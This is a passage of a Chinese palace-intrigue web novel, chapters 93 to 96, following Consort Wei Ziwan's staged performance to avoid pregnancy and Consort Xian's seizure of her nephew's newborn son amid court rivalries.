“信女本该冷静自持,不为所动的。” 她闭上眼睛,俯下去的身子微微颤抖。 “万岁爷是信女的丈夫,信女固然在意万岁爷,可也清楚,万岁爷不是信女一个人的丈夫,但大概这些年信女被万岁爷宠坏了,便总是想着万岁爷多看看信女。” “只是信女也清楚,后宫佳丽三千乃帝王宫苑最不稀奇的一幕,信女能被皇上看重将近十年,已是皇恩浩荡,可是,万岁爷越是看重信女,信女便越发不可控心里的贪欲。” 她轻叹道,“今年大选估计有不少新人进宫了,那些新人貌美年轻,想必很轻易就得到万岁爷喜爱——信女不会放纵心里贪婪对任何一个人下手,曾几何时,信女身份低微,便是万岁爷给了信女身份地位,信女做不到站在高处俯视来时路,她们都是无辜的。” 她说道:“所以信女只求佛祖一件事。” 她轻轻推出自己那本‘书’,上面写满了密密麻麻的妇人生养情况。 “信女总是想得太多,有四个孩子便心满意足,只是信女也怕自己年华不再,万岁爷目光落在那些新人身上,若是能再有一个孩子就好,可信女害怕啊,这妇人生子之事是一脚踏进了鬼门关,信女年纪不比从前,对生儿育女之事可以无畏——便是从前,信女也害怕生子之事,这些日子,信女在京中查了许久。” 她开始落泪,“像信女这般年纪生养的女子,一尸两命者多矣,即便顺利生下孩子的,身子骨大不如前,容色衰退,信女害怕有孕生子一事啊,信女想活得久一点,想陪着万岁爷长长久久。” “可若是能让万岁爷现在一直看着信女,信女,愿……意,待信女容色衰退后,万岁爷身侧有新人是迟早之事,信女不求信女年老之后的皇恩。” “求您怜悯,现在就赐给信女一个孩子吧,信女求您了,信女绝对不会害怕的。” 魏紫菀面无表情,眼泪顺着脸颊滴滴滑落。 在极静的仿佛只听见针落地声音的小佛堂里“啪嗒”作响。 乾隆听得一清二楚。 心里泛起密密麻麻的酸痒,仿佛蚂蚁噬咬,席卷全身。 第93章 第93章紫菀花 皇帝并非一个容易被真情打动之人。 他这人感情来的快,去的也快,即便是相敬如宾二十多年的皇后,在发现皇后并非如自己所想的贤良淑德后,对皇后的感情立马不复从前。 看似敬重,但敬重之中有多少自我克制,皇上心里一清二楚。 而对宠爱十多年的慧妃,早些年,皇帝宠爱是真的宠,甚至在慧妃病重的那段日子,无视慧妃挑战皇后威仪,只是当慧妃对他的真情不如对自身权力地位的看重后,他对慧妃的心思一日淡过一日。 但皇帝毕竟是先帝教导出来的继承人,先帝重视规矩,皇帝看似不拘一格, 可在某些事上却守着自己心中一套底线,如若皇后没犯下大错,必然得敬着,像是慧妃曾是他潜邸侧妃,即便犯下过错,也不能让她脸面全失。 这也是娴妃不受宠并且一而再再而三让皇帝不快,却始终没有被贬位的缘故。 不过这也只是因为她们的身份曾经是自己的福晋,若是抛开这层身份,皇帝自然也不在乎了。 对上其他宫妃,皇帝心里就没这层规矩束缚了,如果真让他绝对不快,那留给那个宫妃的结局除了失宠还可能是贬位。 但这点在对上贵妃时,便不成规矩。 贵妃是他带进后宫的,经他的手,由一个什么都不懂的小姑娘被他慢慢教成如今满腹诗书、洁净素雅的贵妃,贵妃于他而言是不一样的。 他对他妻子的幻想都寄托在贵妃身上。 贵妃也确实在后宫将近十年不曾被宫苑中人改变心性,始终是那个心性柔软、温柔狡黠的小姑娘。 他也一直认为贵妃是生长在后宫中洁净无暇的一朵紫菀花,即便有心眼,也不曾算计过别人,也就显得贵妃那点小心思是那般的可爱—— 在今日之前,他甚至不知贵妃还会真正妒忌过那些还未进宫的女子。 怪不得以往不理会大选的贵妃,这次会掺和进去了。 怎么说呢。 皇帝除了心疼,还有一种从心底迸发的,不知何缘故起的喜悦,一个洁净无欲求的女子因他生起的妄想和欲/念,于他而言,是多么珍贵的一件事。 他终于理解了,他对贵妃的欲/念,与贵妃对他的欲/念,其实是不相上下的。 贵妃也会因他而起妒忌,也会在意识到自己的妒忌时,努力以别的方式极力克制,哪怕心里再害怕,也想着给他生儿育女。 皇帝倚靠在墙上,一直注视着贵妃背影。 目光愈发柔软。 他怎么舍得让贵妃害怕,也不会让那些女子越过贵妃,无论是谁,都绝不可能胜过贵妃恩宠。 即便是日后两人双双变老,皇帝感觉他都期待起跟贵妃白头偕老的画面了。 待永琮永璐几个孩子带上自个儿的子嗣过来,便是这皇城之中难得的一抹温色。 皇帝突然后知后觉,自己对永琮永璐和静和恪四个孩子这般纵容,除了因他们是贵妃子嗣的缘故,还有这更深一层说不清道不明的父与子的感情。 贵妃似乎从来不让四个孩子将他当作君,在四个孩子心中,他是父,所以四个孩子会不顾规矩跟他撒娇,跟他无所顾忌,如同贵妃将他当作丈夫而非帝王。 所以从不想着让家族依靠皇权节节高升,他是丈夫,贵妃自然想着让家里人努力,好让她光明正大站在他身旁时,能对得起丈夫的看重。 贵妃从来都不愿自己只是宠妃的身份,而他也从不将贵妃当作宠妃,她也是他的妻。 他何其有幸方能跟贵妃相遇相知。 皇帝垂眸,刹那间软和了一向硬朗的眉眼,“贵妃。” 魏紫菀浑身一僵,缓缓回头,“万岁爷……?” “是朕。”皇帝莞尔一笑,“紫菀陪朕出来走走吧,朕许久未和你好好欣赏皇城里的秋色了。” “好。”贵妃有些失措将身后的‘书’给仔细藏着了,藏在蒲团下,皇帝故作不知,牵着她的手往外走。 贵妃心中思绪万千,都在猜皇上刚才听到多少了,不知皇上可会怪罪她平白起妒意。 皇帝似是知道她的不安,带着她慢慢走着。 到他们‘初遇’的景阳宫前,皇帝郑重其事道:“紫菀,朕同你有四个孩子,四个孩子已经够多了,往后朕是舍不得你生孩子了。” 生儿育女乃女子一大生死关卡,他和紫菀并非没有骨血,何必再赌一回生死。 以往不细想,确实是他没往这方面想过,皇玛法在他这个年纪时,早就儿女成群了,他才十来个儿女,算是子嗣稀少的帝王了。 能多子多福是件幸事,再多的孩子,皇家都养得起,皇家巴不得这些宫妃们多多生儿育女,但紫菀本就为他生养过孩子,往后没必要再搏子嗣了。 他注意些,反正总不会让紫菀受到伤害的。 “可是万岁爷,再过几年,和静和恪就长大了,不再和妾身住在一起了,妾身膝下总得再有些儿女相伴的。” “再过几年,永琮就娶妻生子了,到时朕让永琮的孩子被你抱养。” 乾隆表示,这都不是问题。 魏紫菀笑道:“那可不行,妾身才不想抢别人的孩子,即便是妾身孙儿,他们也是有自己的阿玛额娘的。” “那就让他们偶尔过来陪你。”乾隆一锤定音,“况且有朕陪着你,你担心什么?” 担心什么?她当然什么都不担心,这只是她为了不失恩宠也不想怀上孩子上演的一出戏,皇上当真了,她却知道谁真信了,那就上当了。 不过皇帝却真心觉得她很在意这事。 魏紫菀也就犹豫片刻,主动伸手握住帝王那只有力的手,“妾身相信您。” 两手交握,乾隆便自觉解决了贵妃心事,不再让贵妃愁眉苦脸,害怕生子却不得不强颜欢笑。 紫菀还是得笑颜常开才好,愁眉苦脸的那也不叫紫菀了。 紫菀花可是生长在山上的瑰丽之花,花开如画,美不胜收,独得清幽一片,不染纤尘,自有花香传来,怎可为庸人困扰。 魏紫菀心里悄无声息松了口气,只要用对方法,生孩子这事也就不成困扰了。 亏她还钻牛角尖这么久。 但是,这种事也不能笃定。 她能成功,大半得靠皇帝对她确实在意,而且并非她推测的以后会少了她这款颜色的红颜知己,皇帝对她好似真的有那么一丢丢真心实意。 但是也有部分原因是她演技进步了,能忽悠帝王了。 魏紫菀这一时半会的,想的还不是皇帝对她的真心,而是往演技上琢磨了,所谓学而时习之,不亦说乎,她也得反复巩固演技,以待有一日皇上出事了,她这演技能及时派上用场—— 但愿皇上长命百岁,她们母子四人一定会为皇上的百岁无忧祈祷的。 皇帝活得越久,她们母子四人的日子就越快活! …… 大选前夕,第一个发话接手选秀之事的贵妃好似只是一时兴起。 不知何时,这些差事便重点交给四妃了。 皇后也形如甩手掌柜,对大选之事并不非常在意,全程交托重任给四个妃子。 嘉妃暗自腹诽,贵妃娘娘必然是看到了今年选秀的秀女除了那位戴佳氏,其他秀女有身份的却失了容色,有容色的却身份不显,所以并不将今年的秀女放在心上了。 哪像慧妃和愉嫔啊,这一个个的,为了挑选合适的秀女帮衬自己,为了自个儿的私心,那叫一个上进,但也仅限于在自己的私事上用心罢了。 所以到头来忙活的却是她和娴妃。 第94章 第94章弟媳 但是据她观察,娴妃十分认真对待这事,并没有怨言。 所以从头到尾感到不大欢喜的,就只有她一个人。 嘉妃心里越发不得劲了,但是想到选秀过后这一年很快就过去了,内务府选定她儿媳妇进门的日子是明年,她就有盼头了。 纯妃快有 孙子了,她可不能落下。 这般想着,嘉妃来了动力做事,娴妃瞥了她一眼,就嘉妃这个风风火火的性子,早些年心眼还算摆在明面上,让旁人一眼就看穿她心里想的什么,现在连心眼都丢了。 她着实想不到嘉妃会有害她孩子的可能,但是,有继承权子嗣的宫妃,她都不能放过,宁可错杀,也不可放过。 娴妃捂着自己的胸口,她胸口阵阵绞痛感传来,她暂时停下了手上动作,捏着脖子一动不动,屏气等着那阵阵疼痛过去。 自孩子没了以后,她总是感觉胸口传来疼痛感,但是太医看过了,她身子毫无异状,她便知,她这种感觉极有可能是她的错觉,也是她死得冤枉的孩子对她的提醒。 他在说啊,额娘,你要替我报仇,儿子好恨啊,儿子为什么不能出生,为什么不能在您身边长大。 每每让她痛心不已。 娴妃重新拾起账本,方才没人注意到她的停顿,她自然不会说出这种事。 娴妃现在巴不得没人注意到她。 …… 循王府,嫡福晋辉发那拉氏已有孕七月,再过两三个月,这胎子嗣就可分娩。 这是永璋头个孩子,也是纯妃头个孙子,母子俩对辉发那拉氏这胎十分重视,嫡福晋感到久违的轻松。 固然怀孩子时种种孕相让她难受极了,可一想到她能给三爷生下嫡长子,生下他们的大阿哥,便由衷地感到无法言喻的快活。 就算这胎是个格格也无碍,三爷头个孩子,必然会珍重之极。 三爷跟她说过了,等孩子出生后,若是个格格,后院两位使女仍旧被赐避子汤,直到她生下嫡子为止。 她知道三爷并非十分看重从她腹里出来的嫡子,只是不愿乱了规矩,西林觉罗氏那事让三爷对后院妾室都有了抗拒,所以三爷必然会让她生下大阿哥,等她孩子养住后,才会让完颜氏和瓜尔佳氏停了避子汤。 比起西林觉罗氏活着时给她造成的麻烦,西林觉罗氏死后的光景,可真是让她快活啊。 若非怕三爷得知她的动向,她非得给西林觉罗氏敬三柱香,就当是多谢她九泉之下的庇佑了。 …… 一个月后,大选之日来临,这个月将会陆续有适龄女子坐着驴车进宫参加选秀。 皇帝知道贵妃那日掺和进选秀之事是因一时钻了牛角尖,这道坎过去了,就没让她过来看秀女大选,他知道贵妃对这种事兴致不大。 魏紫菀乐得不用操心这些繁琐事。 秀女大选后,留牌子的秀女都留在宫里察看一个月再行去留。 “也不知戴佳氏会不会成为本宫妹妹。” 魏紫菀扇着扇子,偶尔接过婉嫔和其他低位妃子制作的唐卡给出一两条建议。 颖贵人在旁没闲着,捣鼓着给女子涂在指甲上的染料,上回魏紫菀跟她说过指甲油这种东西,颖贵人一下子来了好些灵感,拿那雅名为‘蔻丹’的花试了又试,暂时没找到更合适的给指甲上色的东西。 “娘娘,您何必在意,这戴佳格格出身贵重,不管是宫里宫外,迟早也是您妹妹。” 颖贵人这话说得含糊,即便宫里大部分妃子都清楚戴佳格格跟贵妃小弟的族人有意凑合这一对,而秀女是不得私自定下婚事的,两家人不曾定下婚事,没给人留下话柄。 戴佳格格和娘娘小弟能不能成,还得看万岁爷意思,若是万岁爷没有看上戴佳格格,那便成全戴佳格格为正头娘子的命。 所以颖贵人说这话也没说得太直白,这儿还有其他低位妃子在呢,又不是只有她和婉嫔这两个娘娘的身边人。 魏紫菀心想也是,弟妹也是妹,戴佳氏嫁给弟弟后,便是她魏家人,必然也是她妹妹,她两个嫂嫂都将她当作亲妹妹看待,她也将两位嫂嫂当作亲姐姐对待,没理由到戴佳氏这里就例外。 但话又说回来,这宫里的妃子惯来以姐姐妹妹相称,如果戴佳氏进宫为妃,某种意义上确实是她的‘妹妹’,就是以后她见到戴佳氏时,心情可能会有些复杂吧。 “来,娘娘,婢妾给您涂这‘指甲油’。” 颖贵人在自己手上试了半天,终于试出个不错的颜色,便兴致勃勃想跟贵妃炫耀一下。 “你捣鼓出来了?” 魏紫菀瞥了她一眼,倒是将自己护甲摘下来,将手递给她。 古人说,身体发肤,受之父母,不敢损伤,孝之始也。 但古人又说,甲为筋之余,甲不敷截筋不替。 因此这指甲不算是在这‘不敢损伤’的行列里,即便其他奴才一脸欲言又止,想劝娘娘别将手借给颖贵人捣鼓,当心伤了贵体,但指甲能很快长成,加上娘娘时不时带上护甲,没人看出来那护甲下的指甲什么模样,到底没有扰了娘娘兴致,只让颖贵人小心谨慎点。 “我怎会伤了娘娘。”颖贵人敢打包票,她在自己和身边奴才的再三试验下,成了才敢给娘娘下手的。 她身边的宫女太监无一人逃脱她的试验。 而且她也只对娘娘平时带着护甲的那几根手指涂上颜色。 她边涂边试探道:“娘娘,您上回说那美甲是怎么回事,您仔细跟婢妾说说吧。” “你‘指甲油’都没弄出成品,你这就好高骛远了?” “娘娘,您要是不说,婢妾这辈子也没个主意啊,还是得靠娘娘您为婢妾指条明路。” 魏紫菀用另一只没涂色的手轻轻点了点她额头,“就你会贫嘴。” 婉嫔偶尔抬头看两眼娘娘,便继续低头干活,她这活跟颖贵人那活不一样,颖贵人那活儿需要奇思妙想,她这活儿需要人全神贯注。 她心神都在唐卡上了,但是偶尔她也会插上一嘴,说着自己打听到的消息。 “娘娘,妾身听说慧妃娘娘将一平氏秀女要到身边了,这怕是要拿新人固宠了。” 魏紫菀并不在意,她总觉得慧妃看中的固宠妃子总有些邪门,最典型的便是陆氏了,固然得宠过一段时日,但最终落得一个满门抄斩的下场。 林常在没受过宠爱,所以一直相安无事。 而早些年被慧妃看中的索绰络氏和柏氏,一个生下五公主,一个生下永璐,都被送去关冷宫了,当然,那些人犯下的错与慧妃无关,魏紫菀也并非质疑慧妃是不是这些宫妃算计人的幕后主使。 她只是非常纯粹地质疑慧妃的眼光。 轮到这平氏……魏紫菀不敢笃定会不会又是个‘心比天高,命比纸薄’之人。 “再看看吧,戴佳格格是今年大选容貌最出色的女子,有她在,其他秀女都逊色三分。” 所以慧妃能不能拿平氏固宠成功,还得看这戴佳氏会不会进宫。 …… 选秀之事很快落下帷幕。 今年大选入宫的妃子不多,只有两个。 慧妃看中的平氏恰好是其一,是汉军正白旗五品官员之女的出身,受封平常在。 而另一人是祥常在,姓夏,是汉军镶黄旗四品官员之女的出身,只是父亲已逝,容貌不显,一入宫便如同失了踪迹。 终究只有平氏成了新宠。 戴佳氏被指配给贵妃小弟、蓝翎侍卫魏德馨做夫人。 这桩婚事好些人都喜闻乐见,戴佳氏更是松了口气,出宫时满脸放松。 能为正头娘子总比进宫为妃好。 况且她阿玛生前盼着给她好一桩好婚事,要找一个对她好的夫君,不管这夫君出身如何,只要为人上进、对她好就好。 而贵妃之弟,这无疑是一门极好的婚事。 贵妃兄弟在魏家落魄时娶的妻子至今还好好宠着顺着,不曾纳妾,光是凭这一点,就算魏德馨这辈子毫无出息,她也能让娘家提携自己丈夫,只要对她一心一意就好。 何况她这位未来夫君并非纨绔子弟,魏氏一族的家风好极了。 贵妃并非恃宠而骄之人,魏家的三兄弟不曾 借用过贵妃名头,只憋着股气努力上进,尤其是魏德馨,她无疑是极其欣赏这样的男子的。 若是她眼中见识过这样优秀的男子,转而还得进宫为妃伺候皇上,她这辈子怕是永远都过不了心里这道坎,好在上天恩赐,终是让她得偿所愿。 她果然是天生的魏家人。 戴佳氏一回到家门前,浑身一松,整个人腰身一软,好在身旁下人扶助她了,两个多月的担惊受怕,终于在今日收锣罢鼓了。 …… 愉嫔选中胡氏作为永琪后院的第一个使女。 胡氏性情温婉,善解人意,善诗书精女红,哪怕出身低,愉嫔也乐意有胡氏陪在自己儿子身边。 愉嫔先前还选中了索绰络氏,毕竟儿子后院不能只有汉军旗出身的使女,而索绰络氏就很好,满洲正白旗的出身,虽是包衣,只是小选进宫,可愉嫔本就不对儿子妻妾有过高的家世要求。 这样就刚刚好,胡氏陪儿子挥毫泼墨,索绰罗氏充当永琪身边人脸面。 但当愉嫔打听到这索绰罗氏是五公主生母的隔房堂姐妹,被吓了一跳,立马改变心意,绝不让索绰罗氏入了儿子后院,转而慎之又慎,将另一位汉军旗女子如氏选做永琪的第二位使女。 两位使女入了后院好一段日子,相安无事。 愉嫔这才松了一口气。 第95章 第95章抢子 其实以永琪安分的性子,盼着他像他三哥那样偏宠于某个女子,让后院徒生是非,那肯定不成。 他对学习的爱好比对后院女子兴趣浓烈多了。 胡氏和如氏并非不想争,而是她们想争都争不起来,在五爷去尚书房的这段日子,她们两位妾室没人陪着说话,还住在同一个院子里,偶尔从屋里出来,四目相对。 久而久之,两人看对方都不是喜好惹事的性子,也不是城府极深之人,便试着接触,还真说到一块了,成了这后院的手帕交。 只能说除了永琪还没到好女色的那个年纪外,愉嫔本人的眼光还算不错,选出来的两位使女都是性子安分的,不会惹是生非。 …… 永璋好不容易因为嫡福晋有孕而歇了心里的愤恨不平,不再想着那位鄂侧福晋,这事看似要过去了。 只不过在他带嫡福晋去给额娘请安后,顺道给娴额娘请安时,娴妃突然提出一个要求。 她望着侄女隆起的肚子笑了笑,“说起来,本宫这辈子都不可能有自己嫡亲的孙子了,虽说皇上的孙子也是本宫的孙子,可流着本宫血脉的孙子是实实在在的没有了。” 永璋无言以对,西林觉罗氏陷害娴额娘一事他心知肚明,这事是怪不着他,但在西林觉罗氏害了娴额娘孩子的那段时日,西林觉罗氏是他的人,在外的一举一动都代表了他这个人,而且,西林觉罗氏能害着娴额娘,是因为他和额娘将西林觉罗氏送进宫里,不然这辈子,西林觉罗氏都算计不了娴额娘。 他不得不为此感到愧疚。 不然也不会带着福晋给娴额娘请安了,他心想,娴额娘没了孩子,他以后就充当娴额娘的半个儿子,替娴额娘的亲生孩子孝顺娴额娘。 娴妃岂能看不懂永璋心思,她笑道:“本宫不需要你们夫妻俩的孝顺,本宫只想要一个流着辉发那拉氏一族血脉的孙子,不知你们夫妻俩可愿答应本宫?” 夫妻俩脸色白了。 永璋故作镇定问道:“娴额娘的意思是?” “本宫说不清楚吗?”娴妃皮笑肉不笑,“等你们这胎孩子生下来,无论阿哥格格,交给本宫抚养吧,万岁爷那边由本宫去说,你们不必怕万岁爷不会答应。” “姑姑!”三福晋失了颜色,这是她第一个孩子,她怎么能交给姑姑抚养。 娴妃看她这样,笑意淡下来,喝骂道:“既然不愿,何必来本宫这里惺惺作态,看到本宫孩子没了你们很高兴吧?永璋,你侧福晋害了本宫的孩子,你不想还这笔债?当初可是你们一致决定将西林觉罗氏送进宫里的,还有你,本宫的好侄女,你可记得你跟本宫诉过的苦吗?本宫帮了你,你为何不帮本宫!” 她似笑又似哭,“本宫的孩子化作一滩血水,你们明白本宫的痛吗?本宫只想要一个孩子,你们都不愿给本宫,你们就是想逼死本宫!你们要害死本宫!” 永璋跪在地上,“娴额娘,您孩子之事并非儿子所愿,儿子也很心痛。” 娴妃脸颊控制不住的抽搐,“那你们将孩子给本宫啊!” “儿子、儿子……” 三福晋不住摇头,“三爷,您别答应,这是我们的孩子!” 即便这是她姑姑,她也不愿意将孩子交给她姑姑! “儿子愿意——”永璋受不住心里的折磨,他想啊,他终是逃不过西林觉罗氏的折磨,她欠下的债,他作为丈夫,必须得还,一条命化作一滩血水,这条命还是他尚未出生的弟弟妹妹,这让他如何受得住这般折磨! …… 当天,三福晋就被刺激得早产了。 在翊坤宫里,哭嚎声响了两个时辰。 等到声音堪堪小了时,稳婆抱出一个小小的襁褓,“娘娘,是个小阿哥,小阿哥身子无碍,只是哭声小了些,好好养着必然没事。” “好极了。”娴妃欣喜若狂,看到这孩子就好像看到了她那个尚未出生的孩子,她的孩子必然长着一双清澈干净的眸子,在最初降临在这世间时,第一眼看到的就是她。 她的孩子是这世间最可爱的孩子。 永璋颤抖着过来看自己的孩子,娴妃只让他看了一眼便将孩子收起来,笑道:“这孩子长得不错吧。” 也不知她怎么从一张皱巴巴如猴子脸的脸上看出‘不错’二字的,她对孩子的喜爱程度肉眼可见,甚至不愿让孩子阿玛抱孩子一下。 纯妃还眼巴巴等着抱孙子呢,结果儿子从翊坤宫出来后只失魂落魄道:“孩子交给娴额娘抚养了。” 纯妃以为自己听错了,孩子是她儿子的孩子,就算交给宫妃抚养,也应该交给她这个孩子的亲生玛嬷抚养才对,“发生什么事了?” 永璋抿着唇,“额娘,这是我们欠娴额娘的。” 纯妃眼前一黑,什么欠不欠的! 西林觉罗氏废了她儿子的心气,娴妃就算要怪,等死后再去找西林觉罗氏算账!冤有头债有主,她儿子也是被害的,凭什么她儿子要帮西林觉罗氏还债。 “永璋你真是糊涂了,本宫现在就去将孩子要回来!” 但娴妃动作显然极快,在乾清宫外跪了一刻钟后,皇帝准许她抱养永璋嫡子的消息传遍后宫。 她终于如愿以偿了。 纯妃气得两眼一闭,倒在自己儿子怀里。 …… 魏紫菀得知这事,“娴妃终于精神不正常了吗?不对,应该说娴妃精神一直都挺不正常的。” 伪装了这么久,在孩子事上分毫不让,一直憋着的疯劲果然不是永璋能应付的。 “果然会哭会闹的人才有糖吃,万岁爷必然是心里愧疚了才让娴妃抱养永璋嫡子。” 就是可怜了三福晋,她这个旁观者都替三福晋头痛了。 遇上一个精神不正常要抢她孩子的姑姑、一个优柔寡断的丈夫和一个早年偏宠妾室的婆婆,什么奇葩都让三福晋遇上了。 婉嫔摇了摇头,“娘娘,妾身倒觉得,万岁爷兴许是怕了娴妃的闹劲。” “也是。”魏紫菀不禁想起了早些年的娴妃,从没闹过疯过,用人淡如菊来形容娴妃一点都没错,她是真正能配得上这个形容词的人,只是为何变成了今天这个样子。 皇后、慧妃……都是导火索。 还有,各自躲过死劫活下来的皇后和慧妃也变了模样。 皇后不纯粹贤惠,慧妃也不执意帝王恩宠了。 她有一天也会变得面目全非吗? 魏紫菀将这个问题抛出去,她想问问身边人的想法,她自己觉得自己变了或是没变,那都没用,还是身边人最容易察觉她的变化。 却见手上各自有着自己的活要干的两位妃嫔对视一眼,相视而笑。 颖贵人想了想,“婢妾来到娘娘身边的时日不如婉嫔姐姐久,不如婉嫔姐姐更了解娘娘,但娘娘对婢妾来说一直都很好啊,教婢妾做别的有意义的事,执念皇宠不如婢妾整日研究胭脂水粉有意思,至于没有孩子,婢妾是有些遗憾的,但宫里没有孩子的姐妹更多,婢妾不是那个最幸运的,但是在遇到娘娘后,婢妾一直觉得自己遇到了贵人。” 魏紫菀眨了眨眼睛,就这么简单,她有些不甘心问道:“你说这种互利共惠的事未免太简单了,你说点本宫别的长处啊。” 颖贵人仔细想了想了,“没了。” “真没了?”魏紫菀自觉自己容貌还算不错的,既然这两人一看都不像是要说她坏话的意思,还不如多夸夸她,她听着顺心了就不会再纠结这种‘变不变’的问题了。 婉嫔笑道:“娘娘何必逼问她,容貌乃身外之事,日后我们三人都会变老的,到时娘娘再问我们这个问题也不迟,我们必然能说出娘娘更多的长处。” 容貌乃天成,但修炼来一颗朴实无华的真心却难之又难。 但愿娘娘能一直不变。 魏紫菀却感觉她这话像是在敷衍她,正想说点什么,就看到两人又忙于手上的活了,不免深思,她当初是想让她们发展成自己的得力员工的,但现在她们是不是太给力了,搞得她这个老板像是甩手掌柜。 “娘娘喝点奶茶吧。” 婉嫔顺手递去一壶奶茶,给她倒了满满一碗,继续忙自己的事。 “婢妾这里有刚剥的瓜子,您吃着,不够婢妾再剥。” 魏紫菀看着面前的零食奶茶,无言以对。 …… 三福晋醒来后没理过三阿哥。 她是在钟粹宫坐完月子的。 夫妻感情从三阿哥答应娴妃让出孩子那一刻,就无法回到从前。 三阿哥自觉愧疚,不再主动出现在三福晋面前碍眼。 纯妃想以过来人身份说点话,但每次都在自己儿媳面前装不了太久,她心里是有怨的,怨儿媳妇跟娴妃是一家人,所以娴妃才会提那种荒诞的要求。 若是她换个儿媳妇,她嫡孙就不会被娴妃抱走。 每每都是这种念头缠绕着她,她对上儿媳妇无法说出安慰的话。 三福晋也算是明白过来自己嫁了一个怎样的男人,遇上了一个怎样的婆婆,简直荒诞,她从前为何要为自己家世愧疚,她出身再差,也好过纯妃出身。 她性子再木讷,也比永璋的当断不断好。 还有她那位姑姑,是觉得她这位侄女太快活了吧,非要从她手中抢走她的孩子。 西林觉罗氏……最大的孽障还数她! 她怎么就觉得西林觉罗氏是好的,西林觉罗氏就算是死了,还想将她拖下水!要害死她的儿子! 一想到自己早产的体弱的儿子可能会死在她那个疯癫的姑姑手里,三福晋再也承受不住打击,一头撞在柱子上,“我的孩子啊。” 第96章 第96章喜事 三福晋的事情又惊动了太医院。 魏紫菀只觉得头痛,皇帝这才过了人生中三分之一的登基日子,后宫就没法安定下来了,往后等皇上年纪更大些,她无法想象这后宫会乱成什么模样。 所幸三福晋平安无事,只是经此一事,三福晋很快被送出宫,娴妃依旧抱养三福晋子嗣,不曾担心过三福晋身子,在她心里这些都是永璋欠她的,而她侄女因她才能嫁进皇家,以一个子嗣之位换阿哥嫡福晋的位份,这并不算过分。 “在后宫中,沾染了因果就再也还不完了。” 子衿问道:“娘娘为何这么说?” 魏紫菀捏着眉心,“为什么?这话还有为什么的道理,你跟了本宫这么久,见了这么多事,还看不明白吗。” 后宫因果皆是因算计而起,一人能算计其他人必然是为了图谋好处,或是绝了对方图谋好处的路,这已经上升到断子绝孙的地步了,被算计的那个人还能吃了这个哑巴亏吗。 一经算计,就再也没有回头路了。 得到好处的人会克制不住贪欲,吃亏的人会陷于执念中不可回头。 有时候,她看着自己的来时路,都觉得自己幸运之极,凭借一己之念就能成功算计帝王,若非她容貌还算不错,她现在估计就是慧妃宫里另一个陆答应吧。 位份高的人都能被算计,更别说位份低的了。 她庆幸当年她至少还有容貌,若什么都没有便来到这个时代,她会叫天天不应,叫地地不灵的。 或许会万念俱灰,一死了之。 不是她高估自己,她真的觉得自己心性算是数一数二的坚强了。 并且,她还得庆幸自己并非穿越到女子地位更不堪的朝代,那可就是丧心病狂了,她平生没害过人,老天爷应该不至于这么报复她吧。 …… 长春宫,皇后被人扶起来,站在正殿门口,“娴妃真是疯了,连自己的侄孙都抢,无可救药。” 她叹息般说道。 她指望娴妃报复慧妃,娴妃却只想着抱养永璋子嗣。 可纯妃儿子已经废了,再来一重打击不过是让已经废了的人变得越废,在废物身上动手脚有何意思。 “娘娘,嘉妃选中了两位使女。” “真是不错,是完颜氏和王佳氏吧。” 冬菊点头,“是,两人都知道自己要做什么。” 皇后嘴角扬起更温柔的笑容,“这可真是太好了啊。” …… 宫里这几日传来的事都不是什么好事,还是关乎自己三哥的事,永珹一时心烦,便总是往宫外跑去了,待在宫里没啥意思,只会一天到晚面对额娘的唠叨。 但是躲得了一时,躲不了一世。 他躲得多了,嘉妃直接在阿哥所外堵着他。 “你一而再再而三跟本宫说你没空,本宫倒是看看你到底有多忙!” 嘉妃被气狠了,一把扯着儿子耳朵就往景仁宫去。 “额娘疼、疼啊。” 永珹捂着耳朵,不得不矮着身子跟额娘走。 一进去,他隐约瞥见屏风内站着的两位女子,心想额娘可真是不死心啊,可是他堂堂大男人还得听额娘的话纳妾,那多没意思啊,他准备找个时机溜走。 知子莫如母。 嘉妃一看他眼珠子一转,就知道他打着溜走的心思了,“青黛。” “是。”青黛立马将屏风取下,两位佳人雀跃在眼前。 永珹本就是随意一瞥,但不知何时脸色凝固了,“额娘,您从哪儿找来的人。” 嘉妃还以为戳中儿子心思了,不免笑道:“额娘是专门按照你喜欢的女子模样来的。” 别的不说,她大儿子这几年来茶饭不思就是在想念未过门的那位儿媳妇吧,但那位儿媳妇已去,她儿子还活着,这活着的人总不能为死去的人魂不守舍,她便派人去钮祜禄氏府要来了未过门儿媳妇的画像,照着那画像找人,结果还真让她从包衣宫女中找到两位容貌气度跟画像上相似的女子。 愉嫔给永琪安排了两个使女,她说什么也得给自己儿子安排上,永珹比永琪年长几岁,这孩子也得趁早要吧。 到时候,永珹庶子的年纪越过永琪庶子,等嫡福晋一进门,有了嫡子,那就不输给永璋的嫡子了。 “额娘,儿子要回去了。”永珹脸色沉沉,他不知道自己额娘会做出这种事,若是让他早知道,他绝对不会跟额娘过来的。 他未婚妻早逝,他找来跟她容貌相似的人,就是对她的折辱。 嘉妃眉头蹙起,“你在跟本宫说什么,本宫好不容易才选来的人。” 见娘娘跟四阿哥似有吵架的苗头,奴才们赶紧将两位女子带下去,主子们吵吵闹闹也就罢了,怎能让旁人看了。 嘉妃强压下心里的恼怒,“本宫不管你怎么想,今日你必须得将这两位女子领回你院子里。” “额娘,儿子不愿!您别逼儿子。” “额娘这是在逼你?”嘉妃气笑了。 永珹颓废了两年多还不够吗,当年她看着这个儿子整日嬉戏打闹,心里虽不大痛快,但想着孩子这样也是挺好的,贵妃娘娘不就放纵了自己四个孩子整日痛快地玩。 身为皇子阿哥,如果求不得那个位置,那就只剩两条路可以走,一是建功立业,当帝王的左膀右臂,持从龙之功,二是这辈子痛痛快快地活着,当个潇洒王爷。 能一直霸占帝宠的贵妃娘娘都选择放纵自己孩子,她在高位之中地位不上不下,她何必强求自己儿子去争那个位置。 而永珹和永瑆的性子就决定了他们走不了第一条路,那么第二条路总得给她走出个模样来! 可是现在 —— 她是真恨不得扇自己大儿子几巴掌啊,曾经她的大儿子是那样的骄傲快活,现在怎么成了这个样子,为一个女人魂不守舍,她忍了两年,已经忍无可忍了。 嘉妃手掌扬起,想打他却没真狠得下心来,“永珹,你心够狠的啊!” 她眼中不知何时含了泪水,“额娘不知道你是怎么想的,但作为儿子,你让额娘担心了,你就是不孝!额娘从不求你做什么,但你连好好活着都不能活出个人样给额娘看,额娘生你养你就是看着你日益颓废的?你让额娘失望了啊,永珹。你也让你弟弟失望了,你看永瑆这两年可经常来找你了?” “还是说?”她顿了一下,“你是在怨额娘在你幼时不能像贵妃娘娘那样将你养在膝下,可额娘也不愿的啊。” 